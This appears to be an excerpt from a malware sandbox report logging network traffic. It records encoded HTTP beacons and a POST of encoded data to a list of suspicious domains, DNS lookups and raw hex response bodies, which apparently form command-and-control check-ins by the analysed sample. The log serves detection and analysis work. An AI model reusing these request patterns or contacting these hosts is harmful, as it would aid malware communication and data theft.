Source: global traffic	HTTP traffic detected: GET /fp5q/?ij60MtY=hTm9ypMPCvkZHpXOUIowtI5N2+z4niygtjCFVe/8mioZPRfz5TFJ3IewZaR+NPU03UUaFdubUQ2FIRqoOOixztWDEcr2XGgHHm20+kxsPtJkRiaVsamec0k=&wXB=brv4Erb HTTP/1.1Host: www.cachsoicautdtc.bestAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /p1v4/?ij60MtY=XW3vckNGBZMqkh6dDgKTVQdtxgWhQhuqI1UaXPyLgSYWv7ViPFn3HMqwy3qnuuGBWlC3pPEFi6D5pQsjZrraxjUjA6OulNf3kQwJOyuMay6JsEDMWEmFSkY=&wXB=brv4Erb HTTP/1.1Host: www.itemfilterhub.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /veti/?ij60MtY=CTwFRHkEL7GCscIqZBh2ghsqK7sG3QtVuFrIQG0IMtDLIws7wIuLhg5F5RICghophROLKQKALEwFGf2MtTv3MXBKvDNA89h+ifbsdhYGPDKJkkgMD8vmo5o=&wXB=brv4Erb HTTP/1.1Host: www.bullbord.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /y82c/?wXB=brv4Erb&ij60MtY=sLiZbFdk0bb3LADauL00iEPz4ezLfDKRfqlDl/6kvE4DPkuqbR8aqfEySQ7vKfLRZ5tGFHhzrS3SF8murk9fEOV453YSzWktCGZAKUV3HiBT9SXvdO/vw9M= HTTP/1.1Host: www.cannulafactory.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /pcjw/?ij60MtY=Irl6roAKlXX+S/z4d/JGSgOFtgPcZWv0Ad/WGuEavtEpunmIUZ/WLqk+3ThtGR85672FVpbJ7guSoPSbpRkmFzROuSw6a7kz1v/qj+IPw73pHtOII/dFP3E=&wXB=brv4Erb HTTP/1.1Host: www.7ddw.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Source: global traffic	HTTP traffic detected: GET /ns8q/?ij60MtY=Inf42ZVLRw6HwISCOPUKL9E43+GpX4bkPpg82teOxrbDSww0PzIRQy8gHWXiaO2t1uZOdy10GUfR4hRxDB6Ts5zJpETBxtnbe//OQKeepMDnU8nxUbj7e0s=&tvodg=2Zld-RLxEfN HTTP/1.1Host: www.home-check.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>

Source: global traffic	DNS traffic detected: DNS query: www.groupriam.com
Source: global traffic	DNS traffic detected: DNS query: www.foundation-repair.biz
Source: global traffic	DNS traffic detected: DNS query: www.asa-malukuutara.com
Source: global traffic	DNS traffic detected: DNS query: www.sedezne-blazine.shop
Source: global traffic	DNS traffic detected: DNS query: www.meetfactory.biz
Source: global traffic	DNS traffic detected: DNS query: www.518729.xyz
Source: global traffic	DNS traffic detected: DNS query: www.cachsoicautdtc.best
Source: global traffic	DNS traffic detected: DNS query: www.itemfilterhub.shop
Source: global traffic	DNS traffic detected: DNS query: www.bullbord.top
Source: global traffic	DNS traffic detected: DNS query: www.cannulafactory.top
Source: global traffic	DNS traffic detected: DNS query: www.7ddw.top
Source: global traffic	DNS traffic detected: DNS query: www.home-check.shop
Source: global traffic	DNS traffic detected: DNS query: www.emeluzunmoda.online
Source: global traffic	DNS traffic detected: DNS query: www.ayypromo.shop
Source: global traffic	DNS traffic detected: DNS query: www.magicface.shop
Source: global traffic	DNS traffic detected: DNS query: www.hypepgbet.online
Source: global traffic	DNS traffic detected: DNS query: www.multfiber.net

Source: unknown

HTTP traffic detected: POST /21hf/ HTTP/1.1Host: www.asa-malukuutara.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-usOrigin: http://www.asa-malukuutara.comCache-Control: no-cacheConnection: closeContent-Length: 204Content-Type: application/x-www-form-urlencodedReferer: http://www.asa-malukuutara.com/21hf/User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>Data Raw: 69 6a 36 30 4d 74 59 3d 6b 33 6c 72 53 2f 54 35 54 32 79 36 31 58 37 4c 61 69 54 6b 6b 6c 53 4c 43 52 35 68 63 4b 2f 46 54 61 30 6e 76 50 71 6b 6c 63 6a 50 37 41 45 58 44 77 75 52 73 75 78 35 51 31 6e 65 71 42 58 58 68 45 4f 51 54 4d 47 58 46 61 37 4c 36 51 50 45 42 4d 6c 36 33 51 56 35 77 6b 4b 59 74 58 41 77 76 4a 5a 61 34 39 37 71 6e 50 6a 49 31 58 6d 32 55 71 6e 45 31 4c 75 6a 34 56 66 54 55 68 48 6b 7a 61 50 72 42 37 4b 46 56 76 67 64 6f 7a 68 2b 67 6f 77 39 63 54 59 76 5a 53 5a 5a 31 34 62 69 73 2b 6c 62 62 49 33 51 77 78 68 5a 32 36 46 42 4c 35 43 49 70 6d 44 4f 4f 79 75 65 4e 35 56 77 4f 41 3d 3d Data Ascii: ij60MtY=k3lrS/T5T2y61X7LaiTkklSLCR5hcK/FTa0nvPqklcjP7AEXDwuRsux5Q1neqBXXhEOQTMGXFa7L6QPEBMl63QV5wkKYtXAwvJZa497qnPjI1Xm2UqnE1Luj4VfTUhHkzaPrB7KFVvgdozh+gow9cTYvZSZZ14bis+lbbI3QwxhZ26FBL5CIpmDOOyueN5VwOA==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 27 Aug 2024 05:58:24 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://asa-malukuutara.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brContent-Length: 12523Content-Type: text/html; charset=UTF-8Data Raw: 53 06 02 41 11 a9 49 3f 04 54 04 c6 4d 7c ac f3 7c ff 99 a9 7d 67 e9 72 7a 86 2b 16 e1 00 20 00 ae 22 43 f5 77 9c 5e 5c 93 4c ba e2 e4 6f b1 4b 03 91 90 04 9b 22 39 00 b4 b8 d9 fc ff fd a5 d5 64 a6 61 0a 67 16 08 65 b7 b4 04 1c da f7 de f7 5e f7 87 aa 3d bf 24 79 b6 24 d9 e7 94 2c f7 1e 19 7a 8f 64 e8 e6 f7 ee 83 ff 0b c5 06 99 b8 7b c1 f6 10 60 16 2c 62 92 6c 12 d7 70 79 7a 61 80 c2 89 37 a2 20 4a f6 31 4c 6b b7 bf cf ba eb 12 44 44 45 40 4d da 7b 89 cb 63 f3 9a 60 a9 46 79 31 91 a9 e1 8c 0d fd 41 ec 93 bc 55 22 99 ef ab 0c d5 66 f7 42 62 1b 43 c9 29 20 75 5b c6 d4 b2 d9 bd ee 17 39 09 57 03 44 62 5d 94 80 c1 d5 9c 6b c0 a4 8b 57 48 77 f4 c7 e3 1c 07 73 4f 8b 42 bc 6f ac 50 ce cb b5 c4 73 59 58 0a 88 1c da 0d 45 5d 15 f5 10 81 04 53 06 57 2a 81 4b 7f 8b 17 05 60 a3 5b 7c 4c 2c 0e ea b2 1b 8c 41 3a 24 34 2e 92 1a 2f 02 53 92 81 83 db a0 eb 3d 70 2c 82 e2 fb c7 13 a2 84 bb c7 3b fa e5 ee f3 8f ef fb 3c 7b 49 f3 0f ad e9 5e c1 ea b6 5a 34 9d 43 7a 19 5b ed eb fd 62 b7 0d 2f 3d 0c 95 53 f4 a0 da e3 eb f1 e8 95 55 53 3c 28 32 f5 d2 02 e2 69 5c 17 e5 86 21 6f 15 19 29 d4 cc 3b 82 df b4 6e fa 62 40 2e d9 62 8e c2 02 f2 7e 14 a2 f8 85 a4 ed 8c 23 44 16 20 83 22 b1 8b 9a a1 d5 bc c8 bd 66 eb f3 a0 0f fd 8b 79 d4 de 9b 6e e7 a0 82 11 95 d1 b1 1f b6 6d 19 6e ea 8a a7 f0 29 74 ec 3c 75 a7 f4 34 05 26 7b 0a ab 69 e5 29 44 f0 16 3c 85 22 61 9c 45 4f 61 26 2f 99 7c 0a 11 41 fa e2 51 81 ea c7 13 01 22 c8 9d 76 38 47 dc 69 f7 b1 c5 9d 76 bf 7e df c7 9d 1e d5 1f 6d ad 6f 32 a2 ba ef 6a e5 83 8a 38 f0 cd c6 92 9d 4f e1 79 a0 b5 76 fc 29 7c 71 0b 31 74 4a ab 7f ca 9a ab 57 7e d2 b6 4a 59 ca 04 9a a6 72 1e de 5e ed 68 01 27 10 8d 83 71 30 07 29 a5 72 7d 6f dd c0 6d 38 bf 9a b1 b3 25 30 a4 13 4f 7b f4 c4 11 5d ae 7b 24 d4 81 1e f1 f6 6d fd 98 af c6 ca 7c 9b ef da 79 57 68 22 fa cb 85 80 15 4f 17 f0 2d 3f ea af db 00 4f a5 d3 ce 99 be 7b f4 bd 55 3b cd 9c f6 0f 5e 1f 82 9e 08 dd 84 09 ca dd cd f6 2d f0 18 eb 2f d7 69 3c 4e 13 09 2b 87 8c 78 f2 2a 9a 09 9c d7 e1 9b ae 7d c0 09 27 9a d5 aa 3b 29 c7 2a b9 5a 24 76 75 f5 3a 60 a2 d9 d6 b4 ed 77 7d f1 81 27 9c f0 16 25 f3 15 a5 2f fd 87 e9 7c 24 ef ac 55 6f 81 66 3b ed 85 e6 19 7f 52 5e a1 8f d9 6c bc 3f 2a 4c 6c 15 d0 b5 a6 eb 09 42 91 6a 1b 2a 9e 35 02 e6 54 9e 4d 9a f8 b6 ea 8f 03 ba aa 2a fb d3 3f 4f 98 c9 77 3f 92 f0 be 71 e0 f1 58 2b a7 51 b3 32 84 8a c0 80 ea 6d 45 4f c7 26 8f ea a7 63 b3 dd 46 4f c7 ad e6 db a7 a3 e4 bc 79 3a ca 54 65 4b 5b 43 a0 6b 6f 2e 03 ff 72 25 8a 2b d4 07 36 5b f5 f7 bc 11 5a 4d 88 74 a0 e5 f0 cd cd e5 41 db 6d fc a0 4d cc 0f ac d3 ec ef be b2 6f d2 82 0e d3 28 4b 4d 39 26 41 0f c0 2d 5d b7 5c
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 27 Aug 2024 05:58:27 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://asa-malukuutara.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brContent-Length: 12523Content-Type: text/html; charset=UTF-8Data Raw: 53 06 02 41 11 a9 49 3f 04 54 04 c6 4d 7c ac f3 7c ff 99 a9 7d 67 e9 72 7a 86 2b 16 e1 00 20 00 ae 22 43 f5 77 9c 5e 5c 93 4c ba e2 e4 6f b1 4b 03 91 90 04 9b 22 39 00 b4 b8 d9 fc ff fd a5 d5 64 a6 61 0a 67 16 08 65 b7 b4 04 1c da f7 de f7 5e f7 87 aa 3d bf 24 79 b6 24 d9 e7 94 2c f7 1e 19 7a 8f 64 e8 e6 f7 ee 83 ff 0b c5 06 99 b8 7b c1 f6 10 60 16 2c 62 92 6c 12 d7 70 79 7a 61 80 c2 89 37 a2 20 4a f6 31 4c 6b b7 bf cf ba eb 12 44 44 45 40 4d da 7b 89 cb 63 f3 9a 60 a9 46 79 31 91 a9 e1 8c 0d fd 41 ec 93 bc 55 22 99 ef ab 0c d5 66 f7 42 62 1b 43 c9 29 20 75 5b c6 d4 b2 d9 bd ee 17 39 09 57 03 44 62 5d 94 80 c1 d5 9c 6b c0 a4 8b 57 48 77 f4 c7 e3 1c 07 73 4f 8b 42 bc 6f ac 50 ce cb b5 c4 73 59 58 0a 88 1c da 0d 45 5d 15 f5 10 81 04 53 06 57 2a 81 4b 7f 8b 17 05 60 a3 5b 7c 4c 2c 0e ea b2 1b 8c 41 3a 24 34 2e 92 1a 2f 02 53 92 81 83 db a0 eb 3d 70 2c 82 e2 fb c7 13 a2 84 bb c7 3b fa e5 ee f3 8f ef fb 3c 7b 49 f3 0f ad e9 5e c1 ea b6 5a 34 9d 43 7a 19 5b ed eb fd 62 b7 0d 2f 3d 0c 95 53 f4 a0 da e3 eb f1 e8 95 55 53 3c 28 32 f5 d2 02 e2 69 5c 17 e5 86 21 6f 15 19 29 d4 cc 3b 82 df b4 6e fa 62 40 2e d9 62 8e c2 02 f2 7e 14 a2 f8 85 a4 ed 8c 23 44 16 20 83 22 b1 8b 9a a1 d5 bc c8 bd 66 eb f3 a0 0f fd 8b 79 d4 de 9b 6e e7 a0 82 11 95 d1 b1 1f b6 6d 19 6e ea 8a a7 f0 29 74 ec 3c 75 a7 f4 34 05 26 7b 0a ab 69 e5 29 44 f0 16 3c 85 22 61 9c 45 4f 61 26 2f 99 7c 0a 11 41 fa e2 51 81 ea c7 13 01 22 c8 9d 76 38 47 dc 69 f7 b1 c5 9d 76 bf 7e df c7 9d 1e d5 1f 6d ad 6f 32 a2 ba ef 6a e5 83 8a 38 f0 cd c6 92 9d 4f e1 79 a0 b5 76 fc 29 7c 71 0b 31 74 4a ab 7f ca 9a ab 57 7e d2 b6 4a 59 ca 04 9a a6 72 1e de 5e ed 68 01 27 10 8d 83 71 30 07 29 a5 72 7d 6f dd c0 6d 38 bf 9a b1 b3 25 30 a4 13 4f 7b f4 c4 11 5d ae 7b 24 d4 81 1e f1 f6 6d fd 98 af c6 ca 7c 9b ef da 79 57 68 22 fa cb 85 80 15 4f 17 f0 2d 3f ea af db 00 4f a5 d3 ce 99 be 7b f4 bd 55 3b cd 9c f6 0f 5e 1f 82 9e 08 dd 84 09 ca dd cd f6 2d f0 18 eb 2f d7 69 3c 4e 13 09 2b 87 8c 78 f2 2a 9a 09 9c d7 e1 9b ae 7d c0 09 27 9a d5 aa 3b 29 c7 2a b9 5a 24 76 75 f5 3a 60 a2 d9 d6 b4 ed 77 7d f1 81 27 9c f0 16 25 f3 15 a5 2f fd 87 e9 7c 24 ef ac 55 6f 81 66 3b ed 85 e6 19 7f 52 5e a1 8f d9 6c bc 3f 2a 4c 6c 15 d0 b5 a6 eb 09 42 91 6a 1b 2a 9e 35 02 e6 54 9e 4d 9a f8 b6 ea 8f 03 ba aa 2a fb d3 3f 4f 98 c9 77 3f 92 f0 be 71 e0 f1 58 2b a7 51 b3 32 84 8a c0 80 ea 6d 45 4f c7 26 8f ea a7 63 b3 dd 46 4f c7 ad e6 db a7 a3 e4 bc 79 3a ca 54 65 4b 5b 43 a0 6b 6f 2e 03 ff 72 25 8a 2b d4 07 36 5b f5 f7 bc 11 5a 4d 88 74 a0 e5 f0 cd cd e5 41 db 6d fc a0 4d cc 0f ac d3 ec ef be b2 6f d2 82 0e d3 28 4b 4d 39 26 41 0f c0 2d 5d b7 5c
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 27 Aug 2024 05:58:30 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://asa-malukuutara.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brContent-Length: 12523Content-Type: text/html; charset=UTF-8Data Raw: 53 06 02 41 11 a9 49 3f 04 54 04 c6 4d 7c ac f3 7c ff 99 a9 7d 67 e9 72 7a 86 2b 16 e1 00 20 00 ae 22 43 f5 77 9c 5e 5c 93 4c ba e2 e4 6f b1 4b 03 91 90 04 9b 22 39 00 b4 b8 d9 fc ff fd a5 d5 64 a6 61 0a 67 16 08 65 b7 b4 04 1c da f7 de f7 5e f7 87 aa 3d bf 24 79 b6 24 d9 e7 94 2c f7 1e 19 7a 8f 64 e8 e6 f7 ee 83 ff 0b c5 06 99 b8 7b c1 f6 10 60 16 2c 62 92 6c 12 d7 70 79 7a 61 80 c2 89 37 a2 20 4a f6 31 4c 6b b7 bf cf ba eb 12 44 44 45 40 4d da 7b 89 cb 63 f3 9a 60 a9 46 79 31 91 a9 e1 8c 0d fd 41 ec 93 bc 55 22 99 ef ab 0c d5 66 f7 42 62 1b 43 c9 29 20 75 5b c6 d4 b2 d9 bd ee 17 39 09 57 03 44 62 5d 94 80 c1 d5 9c 6b c0 a4 8b 57 48 77 f4 c7 e3 1c 07 73 4f 8b 42 bc 6f ac 50 ce cb b5 c4 73 59 58 0a 88 1c da 0d 45 5d 15 f5 10 81 04 53 06 57 2a 81 4b 7f 8b 17 05 60 a3 5b 7c 4c 2c 0e ea b2 1b 8c 41 3a 24 34 2e 92 1a 2f 02 53 92 81 83 db a0 eb 3d 70 2c 82 e2 fb c7 13 a2 84 bb c7 3b fa e5 ee f3 8f ef fb 3c 7b 49 f3 0f ad e9 5e c1 ea b6 5a 34 9d 43 7a 19 5b ed eb fd 62 b7 0d 2f 3d 0c 95 53 f4 a0 da e3 eb f1 e8 95 55 53 3c 28 32 f5 d2 02 e2 69 5c 17 e5 86 21 6f 15 19 29 d4 cc 3b 82 df b4 6e fa 62 40 2e d9 62 8e c2 02 f2 7e 14 a2 f8 85 a4 ed 8c 23 44 16 20 83 22 b1 8b 9a a1 d5 bc c8 bd 66 eb f3 a0 0f fd 8b 79 d4 de 9b 6e e7 a0 82 11 95 d1 b1 1f b6 6d 19 6e ea 8a a7 f0 29 74 ec 3c 75 a7 f4 34 05 26 7b 0a ab 69 e5 29 44 f0 16 3c 85 22 61 9c 45 4f 61 26 2f 99 7c 0a 11 41 fa e2 51 81 ea c7 13 01 22 c8 9d 76 38 47 dc 69 f7 b1 c5 9d 76 bf 7e df c7 9d 1e d5 1f 6d ad 6f 32 a2 ba ef 6a e5 83 8a 38 f0 cd c6 92 9d 4f e1 79 a0 b5 76 fc 29 7c 71 0b 31 74 4a ab 7f ca 9a ab 57 7e d2 b6 4a 59 ca 04 9a a6 72 1e de 5e ed 68 01 27 10 8d 83 71 30 07 29 a5 72 7d 6f dd c0 6d 38 bf 9a b1 b3 25 30 a4 13 4f 7b f4 c4 11 5d ae 7b 24 d4 81 1e f1 f6 6d fd 98 af c6 ca 7c 9b ef da 79 57 68 22 fa cb 85 80 15 4f 17 f0 2d 3f ea af db 00 4f a5 d3 ce 99 be 7b f4 bd 55 3b cd 9c f6 0f 5e 1f 82 9e 08 dd 84 09 ca dd cd f6 2d f0 18 eb 2f d7 69 3c 4e 13 09 2b 87 8c 78 f2 2a 9a 09 9c d7 e1 9b ae 7d c0 09 27 9a d5 aa 3b 29 c7 2a b9 5a 24 76 75 f5 3a 60 a2 d9 d6 b4 ed 77 7d f1 81 27 9c f0 16 25 f3 15 a5 2f fd 87 e9 7c 24 ef ac 55 6f 81 66 3b ed 85 e6 19 7f 52 5e a1 8f d9 6c bc 3f 2a 4c 6c 15 d0 b5 a6 eb 09 42 91 6a 1b 2a 9e 35 02 e6 54 9e 4d 9a f8 b6 ea 8f 03 ba aa 2a fb d3 3f 4f 98 c9 77 3f 92 f0 be 71 e0 f1 58 2b a7 51 b3 32 84 8a c0 80 ea 6d 45 4f c7 26 8f ea a7 63 b3 dd 46 4f c7 ad e6 db a7 a3 e4 bc 79 3a ca 54 65 4b 5b 43 a0 6b 6f 2e 03 ff 72 25 8a 2b d4 07 36 5b f5 f7 bc 11 5a 4d 88 74 a0 e5 f0 cd cd e5 41 db 6d fc a0 4d cc 0f ac d3 ec ef be b2 6f d2 82 0e d3 28 4b 4d 39 26 41 0f c0 2d 5d b7 5c
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 27 Aug 2024 05:59:41 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 27 Aug 2024 05:59:44 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 